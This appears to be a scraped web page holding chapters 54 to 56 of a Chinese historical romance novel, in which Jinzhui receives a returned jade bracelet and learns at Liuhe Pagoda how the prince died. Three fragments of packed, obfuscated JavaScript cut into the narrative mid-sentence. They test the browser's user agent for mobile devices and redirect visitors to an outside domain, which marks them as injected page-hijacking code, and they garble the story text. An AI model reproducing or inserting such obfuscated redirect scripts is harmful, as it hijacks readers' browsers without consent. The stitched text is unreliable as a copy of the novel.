许是几个姊姊儿时做下的恶戏,潜入她屋里偷走了母亲留给她的那件法宝;许是母亲哄她入睡时同她开了一个玩笑,那锦囊中本就空无一物。 她万念俱灰,捧着这只空锦囊,反倒涌起一股自暴自弃的斗志。自那以后,她便将那只翡翠镯子收进囊中,填补了那阵空虚。锦绣柩,冷玉魂,遗物之中葬着遗物,终又化作了一团空…… 金坠如梦初醒,将泪水咽了回去。君迁静静望着她,欲言又止,只道:“你好些了么?” “比方才好些了。”金坠将手里的空碗递还给他,“多谢你这碗不苦口的良药。” 君迁抿了抿唇:“你早些睡。” 他起身替她掖好被角,熄灭灯烛。正要离去,金坠忽在身后唤道:“君迁……!” 他一怔,在门边回过身来,她却又垂着眼帘不说话了。他有些无奈地笑了笑,回到塌前望着她,柔声道: “你想让我再待一会儿么?” 54.拾遗记 金坠见他主动回来了,一时语塞,低头攥着被角,小声道:“我……我怕睡不着,要不你给我讲个故事吧?” 君迁有些犯难,微笑道:“我知道的故事不多。你想听什么?” 金坠想了想道:“要不就讲讲你最熟悉的草药吧!” 君迁苦笑:“那这一夜可讲不完。” “就讲这个吧!”金坠指了指她刚喝完的药碗,“这姜汤里放的那味药是芍药花的根吧?先前宫宴赛马球我摔伤那会儿,你让谢翁给我送来的创药也是这个做的吧?很管用呢。” 君迁颔首:“那是赤芍,这是白芍,皆为芍药之根干燥后所制,是散淤止痛的良药。” 金坠笑道:“以往只听说芍药花开倾国色,我还不晓得它也能入药呢。可有典故?” 君迁徐徐道:“相传华佗曾获赠一株芍药,尝了花叶茎后发现皆无药性,便随手将其植在屋后,不与药圃中的百草为伴。一夜他在灯下看书,忽闻一个女子低声哭泣,循声而去,四下无人,只见到那株芍药。” “莫非是那芍药的精魂所化?她定是苦于自身不被选做药材,顾影自怜,故而落泪。” “或许吧。次日华佗将此事告知其妻,其妻言,园中百草初始皆无奇处,后都被你发掘药性,此物定也有可取之处。华佗听后不以为意。后来有一日,他的妻子血崩腹痛,便挖出了那株芍药的根煎水服下,不久便康复了。华佗方知其有活血镇痛之效,遂将此载入药典,晓谕后世。” “这倒是个好故事!看来似华佗这般的大医仙,也有见识不如女子之处呢。想必他流传下来的医方之中,还有许多都如这养在深闺无人识的芍药一般吧?” “华佗本人并未有著述传世。昔年他蒙冤入狱,他的弟子为不受牵累,便将老师的著作都烧毁了。后世所谓华佗之方,皆为历代口耳相传,陈陈相因,实则有不少错处。” “太可惜了!要是有人能将失传的那些医方都收集成书就好了,定能挽救更多性命……” 金坠叹息一声,四下环顾,伸手从案头捞过先前向君迁借来的那部《本草图经》。 “你借我的这大部头如何?我先前翻了翻,看得人头晕眼花!” “这是官学教材,我在太医局授课时用的。收录虽齐全,却难免有些教条,只宜背书,拿来治病可行不通。” 君迁微微一哂,敛容道:“其实我一直想编撰一部药典,广集准确经方,订绳谬误,解决历代本草书籍以讹传讹之弊,弥补华佗人死方不传之憾。” “这可是项大工程呢!你打算何时动笔?” 君迁轻叹一声:“编撰此书需四处游历搜寻经方,目下诸事暂脱不开身,不知何时有空起笔。” 金坠望着灯影下那张落寞的脸庞,有些心疼,宽慰道:“那先起个书名吧!有了书名,便算起了个好头,终有一日能写完的。” 君迁莞尔道:“我不擅起名,你可有良方?” “我想想啊……” 金坠以手支颐,摹地灵光一动,起身走到案头提笔濡墨,取了张素笺徐徐写下四字,回身递给君迁。君迁接过笺纸,念道: “百草拾遗……” “万事开头难,我先替你写这最难的四个字,剩下便交由你信笔挥毫了!”金坠扬眉一哂,注视着君迁,“你想写的这本书真的很好……我相信你终有一日能够完成它的。” “承你吉言。”君迁将那张小笺收在怀中,望着她道,“不早了,你要休息么?” “我……我还不是很困。要不你再给我念会儿书吧?”金坠信手将那本砖头似的《本草图经》递给他,“喏,就这本吧——照本宣科,你的专长!” 君迁接过那书,苦笑道:“这可不是话本。你不嫌无趣?” “正好催眠呀。沈学士请慢慢念,就当是在教书育人吧!”金坠回到塌上,面朝着他侧卧下来,闭上眼道,“念吧,我听着呢。” 君迁在塌边坐下,打开那本早已倒背如流的大部头药典。随手一翻,瞥见书页中夹着片小花。细细一看,却是一小块被剪下的绣花,仿佛一簇明黄的繁星,静静落在绘着“山茱萸”图鉴的书页之间。他一时失神,不禁伸手摸了摸。 “怎么了?” 金坠等了半天不见他念书,睁开眼,只见君迁捧着那厚厚的药典呆坐在塌前。经她一唤,他回过神来,匆匆将书翻至首页,清了清嗓,柔声念道: “昔神农尝百草之滋味,以救万民之疾苦,后世师祖,由是本草之学兴焉。汉魏以来,名医相继,传其书者,则有吴普、李当之《药录》,陶隐居、苏恭等注解。国初两诏近臣,总领上医兼集诸家之说,则有《开宝复位本草》,其言药之良毒,性之寒温,味之甘苦,可谓备且详矣……”【1】 屋外雨声潇潇,屋内书声絮絮,融在一处,似风过林海,深水静流。金坠侧耳听着这令人心安的音声,感到四肢百骸皆轻飘飘的,好似置身于绿意丛生的原野之中,连自身亦化作了一簇随风轻拂的山草,除却那绵软的、轻吻似的触动,再感知不到其他—— 这触感她曾在浴佛节那日体会过两回。在这个春末夏初的雨夜,它再次挟着世间一切草木的清芳,随细雨一同落回她心上。 她不觉轻阖上眼,沉沉入眠。 翌日拂晓,雨已停了。榻前人亦已离去,只在枕畔留下那本翻了彻夜的《本草图经》。金坠半睡半醒,伸手轻抚书封,无意中触到书上压着的一物。 她睁眼望去,瞧见书上放着只洁白的小香包。素绢料子,幽香隐隐。香气十分独特,丰韵而清新,一嗅便知是精心调配而成。仿佛融合了世间百草的清苦与甘甜,又有雨雪的清冽与泥土的醇厚,令人闻之忘尘。原来她昨夜嗅到的幽香并非来自梦境! 金坠坐起身来,取过那只香囊左右端详,果在袋底寻到了一行小字,细细绣着她的生辰:四月初十。 她怔了一怔,捧起香袋轻贴在颊畔,嗅着那伴了自己一夜的幽香,心中十分甜蜜,却又怅然若失。她恐这香气很快散去,便从枕下摸出母亲做的云月锦囊来,将那只洁白的香包裹入其中。那里头的空落终于被填满了。 一阵从未有过的颤栗的喜悦攫住了她。金坠如梦初醒,起身下榻,顾不得披衣,紧攥着那锦囊一路飞奔出屋,好似要去追逐自己出窍的魂灵儿。未跑几步,却在廊中与宛童撞了个正着。 “天还未亮呢,五娘这是要去哪儿?” 金坠脱口道:“君迁……他在药庐里么?” 宛童笑道:“沈学士昨夜在你塌前读了半宿的书,哪儿还有力气去炼药?这会儿他当回屋睡下了。五娘寻他有急事么?” 金坠只感觉自己的心砰砰乱撞,平息片刻才道:“也没有什么急事……待他醒了再说吧。” 正要转身回屋,宛童忽唤住她,神秘兮兮地从怀中取出一只黑色小布袋递给她道:“五娘猜猜看,这是谁给你的?” 金坠接过那沉甸甸的黑布袋,与自己手上的香囊摆在一块儿比了比:“不会又是他吧?” “他是谁?沈学士么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302918|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不然还有谁?” 宛童咯咯一笑,正色道:“是那日跳到西湖里救了你的那位英雄呀!” 金坠一怔:“就是那位不肯留下姓名的僧人么?” “正是他!昨晚我做完事,正要去后院锁门,后门外忽有个一身黑的人扯住我,吓了我一跳!我问他是谁,他不肯说,只拉下风帽来。我见他没有头发,想到罗娘子同我讲过那个无名英雄的相貌,觉得很像他,便问了问。他只点了点头,将这只小黑布袋给了我,上头附了张字条,教我将此物亲手交给五娘。我请他进屋来做客,他也不愿意,自顾自地冒着夜雨回去了。真是个怪和尚!” 金坠蹙眉道:“他如何知晓我住在此处?” 宛童道:“许是四处打听来的吧?我还以为他冒着夜雨登门是讨要报酬来的呢,没想到是送礼来的,当真是个无私的人!五娘快打开这布袋看看里头装着什么吧!” 金坠犹豫片刻,拆开那只黑布袋子。眼前蓦地闪过一道幽光,明晃晃的,几乎叫人以为那袋中装着轮月亮。 可那不是月亮,而是一只翡翠玉镯。正是她生日当天丢失在西湖中的那只。 宛童惊呼一声,雀跃道:“呀,原来他替五娘将这宝贝捡回来啦!” 金坠一时怔忡,颤着手拈起来,反复摩挲着刻在镯身内的“阿儡”二字,方确认是自己丢失的那只。 冰魄翡翠在湖水中浸过,犹带着湿漉的凉意。水头更为清润,几可映照人面。金坠呆望着那只失而复得的镯子,并无意料中的喜悦,反隐隐有些不安。 宛童忽指着那只黑布袋道:“五娘快看,这袋子里好像还有什么呢!” 金坠一凛,重又拆开布袋,倒扣着摇了一摇。一枚雪花似的碎片从袋底滑落在她掌心。那是一片薄薄的青碧碎玉,裂纹密布,乍看好像从她手里那只翡翠镯子上掉落一般。 金坠连忙拈起镯子检查了一番,左看右看,却都完好无损。她心中一惊,立时翻过那片碎翡翠,果见那裂痕密布的残玉上刻着两个蝇头细字,与她手里刻着“阿儡”的镯子上的字迹如出一辙—— 桑望。 金坠形如泥塑木雕,呆了半晌,方在宛童提醒下回过神来,又从那黑布袋底摸出一枚卷起的小字条。纸上潦草地写了一行小字: “明日卯时,钱塘江畔六和塔顶。要事相告,勿迟。” 金坠将那字条攥在手心里,直攥得汗湿发皱。宛童识字不多,好奇道: “这是那位救命恩人捎给五娘的话么?他与你说了什么?” “没什么……他向我问安。” 金坠将字条同那枚镌字的碎翡翠一道收起,合拢黑布袋。宛童皱眉道: “问安为何不当面问,又不是讨要赏钱,至于做贼似的?好一个怪和尚!” 金坠不接话,淡淡道:“我身上仍不太舒服,回屋去睡了,吃饭不必叫我了。” “五娘不是正寻沈学士么?一会儿他醒了,我叫他来你屋里吧!” 金坠心下一沉,轻声道:“不必了。我这会儿乏得很,谁都不想见。” 宛童见她病容未消,只好由她去了。金坠一路神游回屋中,闭门呆坐,紧攥着那只失而复得的翡翠镯子。玉身冰凉刺骨,证实其并非虚物。 她重又打开黑布袋,取出那枚指甲盖大小的碎翡翠。“桑望”二字嵌在玉身细密的裂痕之中,似一只遭蛛网紧缚的萤虫,悄无声息地散尽幽光…… 注释: 【1】《本草图经》(北宋)苏颂著 55.故人归 金坠独自在屋中关了一日,浑浑噩噩,不觉已是天黑。窗外下起雨来,小腹复又隐隐作痛。她十分渴望能像昨夜一般饮下碗热乎乎的赤沙糖姜汤,却迈不出步子去要。便将那只黑布袋枕在榻下,弓着身子躺下,只求尽快入睡。 夜雨淅沥,辗转良久,隐隐听到屋外有人语轻响。细听是宛童与君迁,大抵是担心她的病况,前来探视。金坠连忙将头埋进被褥。宛童进屋来,见她埋头睡着,只得熄了灯出去,告诉君迁五娘已睡下了。君迁闻言,低声叮嘱了些话便离开了。 金坠蒙着头,听着那足音在潇潇夜雨声中远去。心头一酸,轻咬着被角闭上眼,强迫自己堕入梦境。 思虑重重,如何睡得安稳。一夜翻来覆去,好歹捱到了更漏将尽。惊坐起来一看,已是寅时末了。心中一凛,忙披衣下榻。草草梳洗一番,将搁在床前的那只黑布袋藏在怀里,蹑手蹑脚地推门出去。 夜雨乍歇,天光微明。路上尚无几个行人,金坠踏着一地雨露独行在晓风中,只感遍体生凉。幸而在街角遇到辆赶早出来拉客的驴车,忙乘了上去。车夫一听她要去六和塔,很不情愿,金坠无奈加了好些钱,才说服他大老远送自己去往钱塘江畔。 六和塔矗立于西湖之南的月轮山麓,正面钱江,为镇压江潮而建。塔高九层,取佛教“身和、口和、意和、戒和、见和、利和”之六规约命名,故曰“六和”。每日早晚会有守塔僧人登顶敲钟,此外的时间都十分幽静。 金坠在月轮山前下了车,远望见那塔身隐于苍白的晨雾中,巍峨高耸,若隐若现,似遥不可攀,不由倒吸一口凉气。四下无人,唯闻潮声。她沿山路而行,半晌穿过山门,到了六和塔下。徘徊片刻,鼓足勇气,独自走了进去。 卯时已过,天光渐亮,此间仍十分幽暗。佛塔内部呈八角形,幽深曲折,别有洞天。四周墙上绘有各色壁画,须弥座上雕有精美纹饰。正中有阶梯盘旋,外侧有回廊相连,逐级而上,可步至每层廊外凭栏远眺。各层檐角皆悬挂着铁铃,晓风拂过,便闻百铎齐鸣,和着对岸钱塘潮音泠泠回响,禅意悠远清旷。 “……有人么?” 金坠绕塔呼唤了几声,只听见自己的回声。想到那字条上约她至塔顶相见,只得拾阶而上。 塔阶陡峭,攀登颇费时力。她借着漏进塔内的一线天光扶墙缓行,唯恐一脚踏空摔下去。走走停停,攀了无穷无尽的石阶,看了无穷无尽的壁画,听了无穷无尽的潮音,终是喘吁吁地来到顶层。 甫一登顶,便见正中悬着一顶偌大的铜钟。金坠转了一圈,不见人影,不由感到一阵焦躁,几乎以为遭人耍了,便伸手狠狠敲了敲那钟。清音未散,大钟投下的暗影深处忽闪出个影子。 金坠后退几步,仓皇道:“谁在那里?” 那人影缓缓向她走来。黑衣黑帽,一言不发,看上去正是约她来此见面的那人。 金坠从怀中取出那只黑布袋,隔着些距离问他:“这是足下给我的么?” 那人点点头。金坠又问道: “足下尊名?袋中之物从何而来?为何约我来此相见?” 那人不做声,突然快步走到她面前,伸手拉下兜帽,在微光中露出一颗剃得青黎的头颅。其上是一张久遭风蚀的磐石般的黝黑面庞,以及一道横亘着的弓月形刀疤。 那是一张令人触目惊心的面庞。金坠盯着他看了许久,蓦地天旋地晕,退开几步,颤声道: “你……你是……你是宇文校尉?宇文觉?——殿下身边的那位……” 那青年唇角微动,沉默地点一点头,继而又摇了摇头。金坠错愕万分,正要再问,忽听得身后一个苍老女音幽幽道: “他已出家了,如今唤作梦觉。” 金坠一惊,循声回首。只见塔身浓重的暗影下,一个枯瘦身形缓缓浮出,又被塔窗外的飞白所笼罩。是个老妪,身着沙门尼的灰布衫子,僧帽下的深黑眼眸似一汪静默的江潮,沉静地涌向来人。 “梦觉受过重伤,已无法言语。金娘子若有所疑,但向老身发问。” 金坠只觉得做梦似的,怔忡着轻唤:“彀婆婆?……您可是殿下的乳母,彀婆婆?” “阔别已久,金娘子仍记得老身,实感欣慰。”老尼合十一礼,淡淡道,“老身亦同梦觉一般落发皈依了,金娘子今后唤我彀师太吧。” “彀师太,梦觉……”金坠呆望着与记忆中判若云泥的二人,俄而如梦方醒,颤声道,“是他么?是他让你们……他还在么?——殿下他还活着么?” 彀师太叹息一声,敛容正色:“嘉陵王殿下已往生去了。” 金坠一怔,竟松了口气,讷讷道:“真的么?” 彀师太闭目颔首,沉声追忆: “去岁末殿下出使大理国,得悉先帝驾崩,即刻返京奔丧。我等随殿下一路策马而行,行经五尺道中途,殿下顺路去一座土庙参拜祈福,却遭一伙刺客伏袭。那夜山中大雨,凶贼事先藏身于那土庙中,待我们走近,便射出暗箭,又推下山石为障,阻断了我们的去路……” 金坠听着,只觉浑身发颤,不禁伸臂抱住自己。彀师太顿了顿,蓦地双目一亮,音容亢奋道: “在五尺道上的那个雨夜,殿下是何等英武啊!那数十个凶贼持械围攻,刀刀毙命,都未能近他的身。殿下手持他那柄青玉宝剑,以一敌众,那英姿真似大黑天神在世! 有那么一刹,那些凶贼个个畏缩不前,如同被魔咒定住似的。直至如今,每忆及此景,老身都不敢相信,殿下竟……殿下他竟已……” “他怎么了?”金坠怔怔道,“告诉我,殿下怎么了?” “对方人数甚多,又逢暴雨,我等虽竭力护驾,终究寡不敌众。殿下被逼无路,策马退至崖边。其时天上闪过一道雷电,殿下的马受了惊,蓦地向山崖下狂奔而去……我等不及阻止,只能眼看着……眼看着殿下……” 老尼言至此,双目含泪,战栗不言。金坠打开手中的黑布袋,将那片翡翠碎玉捧在掌心: “这片碎玉……这是殿下的那只镯子……” 彀师太喟叹一声,哀戚道: “那夜,我等随驾一行六人,除了梦觉与老身,皆于山中丧命。我二人身负重伤,奄奄一息,天明时幸为一个过路樵夫所救,得以苟活…… 事后,我们回到殿下坠崖之处,遍地污泥乱石之中,远见一物散发出幽光。我们分头寻找,却不见那只翡翠玉镯,只寻到了这一片从镯身掉落的碎玉……” 边上的梦觉黯然垂首,似不忍追忆。金坠捧着那片裂痕遍布的翡翠碎玉,喃喃道: “玉可挡灾,这是他的护身符,殿下他不会有事的……” 彀师太直视着她:“金娘子忘了么?这并非是殿下的玉。” 金坠一凛,霎时回想起来。元祈恩临行前,他们曾交换了玉镯。他不愿让她替自己挡灾,特意将刻有她名字的玉镯还给她,自己则戴上了刻着“桑望”的那只—— 那镯子如今四分五裂,只剩下这一小片被寻回来,静躺在她掌心,与她左腕上戴着的那枚“阿儡”遥遥相望。 原来他是自己替自己挡了那场灾! 金坠将那片碎玉收好,悲叹了一声,不再说话了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324173|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彀师太幽声道:“金娘子觉得,伏击殿下的那些凶贼是何人所派?” 金坠咬着唇:“是金宰执……是我叔父么?” “不错,正是太子党的那一班奸佞!” 彀师太双目泛着冷意,切齿道: “殿下身边出了个叛徒,还是个文人——殿下欣赏他的文采,奉他为座上宾客,他却暗中收了你叔父的好处,将殿下的行踪出卖给了他们。殿下是那般信任他,竟听信他的谗言被骗到那荒无人烟的土庙中参拜……可你猜那庙中竟供着什么?” 金坠摇了摇头。老尼冷笑一声,低低道:“一堆朽烂发霉的木块!” 金坠万分错愕,又听彀师太以那念咒似的口吻回忆道: “那叛徒编了一堆浑话,说当地百姓视那些木块为神佛在凡间的化神,前去参拜便可结下善缘,为逝者祈福。简直是骗小孩子的把戏! 我劝殿下切勿听信,殿下却笑了,还说真正的神迹不假外物,发自于心。他在那堆烂木头前敬香跪拜,为先帝祈求冥福,好似那里当真供着一尊神!” 边上沉默的梦觉发出一记悲哀的叹息。彀师太亦是一叹,双手攥紧颈前佛珠,无比慈爱地自语道: “殿下,我可怜的殿下呵!他自小就是如此,有一颗被神佛恩赐的大慈悲心,正如一只含着真珠出生的蚌,所有人都觊觎着那枚真珠,他自身却浑然不觉,仍慷慨地向世间万物敞露心怀。可那颗心却害了他……” 金坠轻颤着闭上了眼。彀师太凄然道: “殿下往生后,我们想为他伸冤,那伙凶贼却掩盖了真相,声称嘉陵王是遭暴雨阻路,不慎坠崖,尸骨无存。我们离开大理,一路辗转漂泊,于三月末回到了帝京。果不其然,小太子已登了基,满朝皆是金相的爪牙——正是他们谋害了殿下,我们又能去何处伸冤?” 老尼说着,蓦地疾步上前,抓住金坠冰凉的手。 “除我二人,殿下已无一亲半故在世。金娘子,殿下曾视你为他的命,如今你是我们唯一的牵挂——我们四处打听,得知你已嫁人去了杭州,便也一路来此。为防被人认出,遂双双落发,扮作云游僧尼,暂于这六和塔中寄身,只待寻机告知你一切。” 金坠一惊:“那日我在西湖落水,莫非你们一直跟着我?” “来到杭州后,我们打听到了你的住址。那日梦觉见你出门,遂尾随于你,试图寻机约见。见你被迫上了那班纨绔子弟的船,遂提前游至了湖心岛。本想暗中保护,却见你为拾回殿下的玉镯落入湖中,便下水救了你。 送你上岸后,梦觉又跳回湖中寻找殿下的护身玉,寻到深夜,终于在湖底淤泥中发现了那只镯子——神佛庇佑,这灵玉终是完好无损地回到你手上!” 彀师太紧攥着金坠的手,不住摩挲着她腕间那只冷月光般的玉镯,神色激动地对梦觉道: “梦觉,你瞧,这只镯子与她是多么般配啊!殿下是不会看错的,只有我们云南的冰魄翡翠方衬得上他同他的意中人!什么汉白蓝田,在这灵玉面前皆成了石头!” 那年轻的僧人仍是垂首低眉,点点头以作回应。金坠的腕被彀师太攥得发疼,不由缩回了手,嗫嚅道: “你们来找我,只是为了告诉我这些么?我早就知道了……早就知道了。殿下出事后,我便晓得那绝不是意外。可是我不敢同别人说,也无人可说……” 彀师太注视着金坠,蓦然发问道: “金娘子是三月初嫁的人吧?你的夫君,可是那人称医圣的沈缙溪的孙儿么?金娘子可知,先帝病亡那夜,正是服了他开的药方?” 56.望江潮 金坠不置可否,垂着眸子道: “我知道。我都猜到了。我也曾问过他……问过沈君迁,他祖父是否参与了那些勾当。” “他如何说?” “他并不知情,却也不曾辩驳。” 彀师太闻言,直愣愣地端量着她,话锋一转道:“金娘子与那位沈学士成婚以来,过得可还好么?” 金坠一怔,低声道:“我同他……我同他有名无实。” “金娘子本性淑贞,善莫大焉!”彀师太合十赞叹,“感谢你为殿下守身如玉!” 金坠忙道:“我与殿下亦是发乎情止乎礼……” 彀师太打断她:“老身明白。殿下持重守信,倘若今次能从大理平安归来,他本打算与你修成正果,白首不离……阿弥陀佛,造化弄人!造化弄人!” 金坠低眉不语,半晌问道:“殿下……可有什么留给我?书信,或是物件?” 彀师太微微一哂,点了点头,从僧袍中取出一只木雕小盒递给金坠。 “这是上好的滇南沉水香,安神止痛效用极佳。殿下记得金娘子有心口疼的宿疾,此行特去寻到了这种香,可惜无法亲手交给你了。虽非重礼,却是殿下对金娘子的一片心意,还请善加珍藏。” 金坠一愣,接过那精美的香盒打开。沉郁暗香扑鼻而来,仿佛置身草木深茂的滇南密林,蕴藉着一股神秘的冷冽。她不禁闭眼深吸了一口,只觉清寒沁骨。彀师太欣慰道: “香在魂在,若见你疾愈,殿下亦可含笑了。” 金坠道了谢,问道:“二位今后作何打算?” 彀师太合十道:“吾主已去,老身与梦觉本是苟且偷生。时移世易,此行江南,只为将殿下蒙难冤屈陈诉金娘子知晓,并将殿下所留遗物转交与你。如今话与物皆已带至,我等心愿已遂,从今往后,惟愿遁入空门,以此风烛残生敬奉神佛,为吾主祈福……” 老尼那看淡尘缘的语气令金坠万分痛心。她不禁脱口而出: “那殿下的冤屈呢?难道就这样不了了之?” “世间冤屈多如恒河流沙,如何洗得净呢?” “可他是嘉陵王殿下啊……” “死生有命,即使尊贵如殿下亦不可幸免。殿下喝着老身的奶水长大,无人比我更心痛他的离去,无人比我更想为他讨个公道!可不幸身在皇家,这样的事我已见得太多了—— 殿下的母亲,容嫔娘娘当年也是含冤而去。只因她是从苗疆来的,又生得如天女一般,他们就诬陷她行巫蛊之术,说她是炫媚的魔女……多么歹毒啊!” 容嫔的生平并非秘密,她本是苗疆贵族之女,是后宫中少有的异族妃嫔。先帝年轻时喜好游历,一次在苗疆密林中狩猎时见到了嬉水的容嫔,误将她认作当地传说中的露水神女央阿莎,不可救药地迷恋上她,将她带回了中原。 据说先帝特意选了一个月夜迎娶容嫔,用一顶镶满宝珠的银轿连夜将她抬出了苗疆的山林。因为他恐到了早上,太阳一出来,她便会如神话中一般化作露水,消失于世。 祈恩曾告诉过金坠,母亲生前常对先帝说,她并不是露水神女,只是一个从未离开过山野的苗乡少女。可先帝只相信自己的眼睛。他从未在中原见过像她一般美丽的女子,坚信她是来自异域的神女,不仅能赐予他如诗如梦的爱情,亦将为他带去长盛不衰的权柄。 先帝不知,神女一旦离开她所诞生的土地,神力便会渐渐消失,而她的美终将招致凡人的嫉恨。容嫔进宫后,为先帝生下一个宝贵的皇子。嘉陵王出生时,人人都说他是中原天子和苗疆神女的爱情结晶,拥有神明的赐福,日后将为这个国家带去无上荣光——而之后的故事,便如彀婆婆正在讲述的一般。 “殿下刚记事起就被从娘娘身边带走了,但他从没有忘记他的母亲。娘娘死在冷宫的时候,殿下还不到七岁——那一日,殿下跪在娘娘的榻前,不停吹着娘娘给他的那把小芦笙。 那是她当年从家乡带来的,殿下以为只要吹起母亲教给他的苗乡招魂曲,就能唤回远行的魂魄。他不吃不喝,没日没夜地吹着芦笙,娘娘却再也没能回来。那时殿下脸上的表情,还有那哭声似的曲音,老身永不会忘记!可它就像一阵烟一样散去了…… 这些年来,除了她的亲生孩子,再没有人记得宫里曾有一位容嫔。殿下曾告诉我,有朝一日定要为娘娘雪冤,让她魂归故乡。可如今连他自身也……” 彀婆婆言至此处,早已老泪纵横,金坠也不由低低啜泣。沉寂许久,老尼叹息道: “金娘子应当明白,以我们如今的境况,再也做不了什么。除非这世上除了我们,还有人记得殿下,愿不惜代价为殿下雪冤……” 金坠心中一颤,将那片刻着“桑望”的翡翠碎片紧攥在手心,梦呓似的说道: “还有一个人。他若得知了殿下的遭遇定不会坐视不理……” 彀婆婆一凛:“那是何人?” 金坠犹豫片刻,向她讲起了初见时嘉陵王告诉她的那个与观音同名的南国王子的事迹,说殿下曾在滇西翡翠谷救过他的命,这块雕琢手镯的翡翠石正是他赠给殿下的信物。 彀婆婆听完,凄凉一笑,执着她的手道: “金娘子仍如从前一般天真无邪呵!难怪殿下那样喜欢你……人海茫茫,我们要去何处寻这位骑着白象的南国观世音呢?” “可是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329581|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金坠欲言又止。彀师太深望着她的眼睛,沉声道: “恕老身冒昧,即使找到了这位骑着白象的贵人,闹出一番惊天动静,替殿下雪了冤,金娘子日后又作何打算?也像老身一般落发为尼,还是仍旧回到夫家去?” “我……” 金坠沉默了。老尼叹息一声,徐徐说道: “阿弥陀佛。佛言过去心不可得,斯人已去,请金娘子看开些吧。你的前路还长,切莫耽溺逝水,空误兰因。” “……何谓逝水,何谓兰因?” “金娘子心知肚明,何必多问?”彀师太面露慈悲,攥着念珠道,“殿下毕生仁善,而今已渡此世苦海,荣登彼岸极乐,定会在那佛国净土之中祝福你的。” 金坠嗫嚅道:“可我……我还能为他做些什么?” 老尼沉吟片刻,正色道:“金娘子若有心,便在殿下的灵前供上三柱清香,亲手抄一卷《大悲心陀罗尼经》。借观世音菩萨的灵力,为斯人之往生轮转祈福吧!” 金坠悲叹一声,点了点头。一时无言,天色渐明,东边天幕上第一缕曦光悄然流入塔顶。一直沉默如磐石的梦觉蓦地动了动,在朝日映照下走向佛塔正中悬着的那口大铜钟,双手抱过木钟槌,一击一击敲着。 梵钟清远,庄肃萧然,响彻霄壤。彀师太一手拈佛珠,一手结法印,面向高塔对岸的辽阔江面,伴着钟声低诵经文。 不知过了多久,梦觉重重敲响了最后一记梵钟。钟声飘散,同日出时分轻拍着岸石的江潮交融消逝,只留幽幽余音萦绕于这方佛塔之上。 “自我们来此,这六和塔上的晨钟每日皆是由梦觉敲响的。此钟每鸣一声,我二人便念诵经文,为殿下祈福……” 彀师太微眯着眼,远眺着彼岸江面上初升的半个红轮,喃喃自语道: “殿下从前最爱登高,若见到这番景色,不知该多么高兴呵!” 老尼语毕,转头看向金坠,却见她绞着双手,眉心微蹙,面容在朝霞映照下白得似要融化一般。 “金娘子怎么了?” “不知怎么,心口忽有些疼……”金坠回过神,捧着彀师太方才给她的那盒滇南沉水香,强颜一哂,“回头我便试试这香。” 彀师太颔首微笑:“药香见效慢,金娘子切记每日点用。殿下保佑,你的宿疾定可康愈。” 金坠轻应了一声,紧攥着香盒,默然凝望着江面,将心中的秘密寄予远去的江潮。唯她自身知晓,那令她蹙眉的痛处并非来自心上—— 她从来就没有什么心口疼的宿疾。不过是当初年少懵懂,羞于直言来月事时的不适,便随口诌了个谎,好在心上人面前显得自己娇弱可怜罢了。